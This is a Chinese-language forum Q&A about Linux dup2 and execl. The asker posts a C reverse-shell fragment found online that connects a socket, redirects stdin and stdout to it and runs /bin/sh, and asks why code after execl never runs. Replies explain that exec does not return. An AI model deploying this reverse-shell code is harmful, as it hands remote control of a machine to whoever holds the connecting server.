关于里linux下的dup2
if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
close(sock);
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);//输入
dup2(sock, 1);//输出
execl(shell,"/bin/sh",(char *)0);
close(sock);
printf("client ended\n");//并没有运行到这句话我不是太懂linux的api,在网上看到这么一段代码,是一个反弹的shell。gcc编出来是没有问题,但我想问问,这里的dup2建立的管道当我在远程关闭这个socket的时候就本地的这段程序就自动退出了。请问如何在程序中知道远程关闭了这个socket?
[解决办法]
fprintf(stderr,"client ended\n");
试试?
[解决办法]
调用execl之后,后面的close和printf都不可能执行了。
相当于新启动的sh的标准输入和标准输出都是这个sock.
这是我个人的理解。
[解决办法]
如果不是有错误发生, exec 是一个不会返回的函数,就像 exit 这样的函数一样.